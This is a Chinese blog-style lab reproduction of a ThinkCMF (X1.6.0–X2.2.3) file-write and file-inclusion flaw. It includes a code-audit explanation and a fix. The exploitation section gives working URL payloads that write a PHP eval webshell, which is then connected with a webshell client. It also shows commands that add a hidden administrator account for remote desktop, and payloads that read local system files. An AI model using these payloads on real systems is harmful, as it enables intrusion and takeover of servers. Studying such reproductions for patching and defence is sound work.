漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现

0x00 简介

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。

0x01 漏洞介绍

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 环境搭建

本次使用的环境版本是ThinkCMF2.2.3版本,直接下载相关压缩包,解压之后放到phpstudy下面,然后访问该目录,按照ThinkCMF的安装向导进行安装。

1.下载ThinkCMF2.2.3版本
下载地址: https://github.com/thinkcmf/cmfx
在这里插入图片描述

2.解压放到phpstudy的www目录下
在这里插入图片描述

3.在浏览器中访问ThinkCMF
http://IP地址/文件夹名称
在这里插入图片描述

4.进行安装
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
安装完成。
到这里漏洞环境就搭建好了,接下来就可以进行漏洞测试了。

0x04 漏洞利用

  • 第一种方法:使用a参数的fetch方法,将想查看的内容写入到一个文件中,然后执行该文件,就可以查看到内容了。

(1):查看phpinfo()信息
构造payload:
?a=fetch&templateFile=public/index&prefix=’’&content=<php>file_put_contents(‘test.php’,’<?php phpinfo(); >’)</php>

在这里插入图片描述
执行之后页面是空白的,然后执行该文件。
在这里插入图片描述
执行之后查看到了php的相关的信息。

(2):上传一句话木马
构造payload:
?a=fetch&templateFile=public/index&prefix=’’&content=<php>file_put_contents(‘test1.php’,’<?php @eval($_POST[cmd]) >’)</php>

在这里插入图片描述
页面为空白,然后执行该文件
在这里插入图片描述
使用菜刀进行连接。
在这里插入图片描述
使用菜刀成功连接。

(3):使用菜刀虚拟终端新建用户打开远程桌面
新建用户并添加到管理员组
net user wwl 123 /add
net localgroup administrators wwl /add

在这里插入图片描述
在kali上执行以下命令
rdesktop -uwwl -p123 192.168.223.128
-u后面跟用户名
-p后面跟密码

在这里插入图片描述
这样就通过kali打开了目标主机的远程桌面。

  • 第二种方法:通过构造a参数的display方法,实现任意文件包含

(1):本地文件包含
构造payload
?a=display&templateFile=README.md

在这里插入图片描述
构造payload
?a=display&templateFile=Nginx.conf

在这里插入图片描述
构造payload
?a=display&templateFile=C:\WINDOWS\system32\drivers\etc\hosts

在这里插入图片描述

(2):远程文件包含
构造payload
?a=display&templateFile=http://192.168.223.160/1.txt

在这里插入图片描述
无法进行远程文件包含。

0x05 漏洞分析

进行代码审计
由于ThinkCMF是开源项目,下载相关的源码进行审计

(1):查看主页代码
在这里插入图片描述
发现了项目路径,去application里面查看。

(2):在application里面发现了IndexController.class.php
在这里插入图片描述
发现存在display,主页内容太少,查看其父类。

(3):查看父类HomebaseController.class.php
在这里插入图片描述
在这里插入图片描述
发现display和fetch是public,可以被任意引用。

拓展
public的访问权限是最松的,它可以在同一个包内访问,也可以在不同包内访问,它表示紧随其后的元素对任何人都是可用的
private字面的意思是私有,可见它的访问权限是比较严格的,它表示除类型创建者和类型的内部方法之外的任何人都不能访问的元素。它就像一堵墙,当有人试图访问它时,就会在编译时得到错误信息
protected字面的意思是受保护的,它与private关键字的作用相当,差别仅在于继承的类可以访问protected成员,但是不能访问private成员

0x06 漏洞成因

引起漏洞最主要的问题就是因为fetch函数和display函数是public类型

fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。
fetch和display的用法差不多,二者的区别就是display方法直接输出模板文件渲染后的内容,而fetch方法是返回模板文件渲染后的内容。

0x07 修复方案

可以通过漏洞成因看出来,引起漏洞最主要的原因就是fetch和display函数是public,可以在外面被访问,因此修复方案就是将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected,使他们无法在外面被访问。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值